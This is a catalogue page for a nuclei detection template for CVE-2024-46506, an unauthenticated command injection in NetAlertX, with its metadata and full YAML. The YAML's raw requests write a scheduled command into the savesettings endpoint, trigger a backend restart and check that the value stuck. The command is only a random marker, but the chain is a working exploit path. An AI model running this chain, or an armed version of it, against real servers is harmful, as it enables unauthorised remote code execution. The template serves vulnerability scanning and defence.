CVE-2024-46506: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
- Template: CVE-2024-46506
- Name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
- Description: NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
- Impact: Unauthenticated attackers can execute arbitrary commands on the NetAlertX server without authentication.
- Remediation: Update NetAlertX to version 24.10.12 or later.
- Severity: critical
- Authors: s4e-io
- Tags: cve, cve2024, netalertx, rce, intrusive, vkev, vuln
- Cves: CVE-2024-46506
- Verified: yes
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-46506.yaml
- Digest: 490a0046304402206b400fd6e98fd4ecfc7dcdf9a6aa9ef051df911a210eb4d7eacaf0e4567f51a6022048a4872fe49e27c9530402217dd9aa736e759518daf1015e3744564780c09ba9
- Created at: 2025-09-10T10:24:28Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 440
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-46506.yaml
- Checked, none or zero: references
- Not known: max requests
Classification
- Cwe: CWE-306
- Cvss score: 10
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Epss score: 0.62666
- Epss percentile: 0.99214
- Cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="netalertx"
- Product: netalertx
- Vendor: netalertx
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| netalertx:netalertx | yes | /v1/products/netalertx/netalertx |
Labels
- Name: NetAlertX - Command Injection
- Impact: Attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
- Remediation: Update to version 24.10.12 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-46506
- Not known: requirements
```yaml
id: CVE-2024-46506
info:
name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
author: s4e-io
severity: critical
description: |
NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
impact: |
Unauthenticated attackers can execute arbitrary commands on the NetAlertX server without authentication.
remediation: |
Update NetAlertX to version 24.10.12 or later.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-46506
cwe-id: CWE-306
epss-score: 0.62666
epss-percentile: 0.99214
cpe: cpe:2.3:a:netalertx:netalertx:*:*:*:*:*:*:*:*
metadata:
verified: true
fofa-query: title="netalertx"
vendor: netalertx
product: netalertx
tags: cve,cve2024,netalertx,rce,intrusive,vkev,vuln
variables:
marker: "{{to_lower(rand_base(6))}}"
uuid: "{{to_lower(rand_base(8))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(4))}}-{{to_lower(rand_base(12))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /php/server/util.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=savesettings&settings=[["DBCLNP","DBCLNP_RUN","string","schedule"],["DBCLNP","DBCLNP_CMD","string","{{marker}}"],["DBCLNP","DBCLNP_RUN_SCHD","string","* * * * *"]]
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body,"OK")'
condition: and
internal: true
- raw:
- |
POST /php/server/util.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
function=addToExecutionQueue&action={{uuid}}|cron_restart_backend
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body,"{{uuid}}","added to the execution queue")'
condition: and
internal: true
- raw:
- |
GET /api/table_settings.json HTTP/1.1
Host: {{Hostname}}
{{wait_for(5)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{marker}}")'
- 'contains(content_type,"application/json")'
condition: and
digest: 490a0046304402206b400fd6e98fd4ecfc7dcdf9a6aa9ef051df911a210eb4d7eacaf0e4567f51a6022048a4872fe49e27c9530402217dd9aa736e759518daf1015e3744564780c09ba9:922c64590222798bb761d5b6d8e72950
```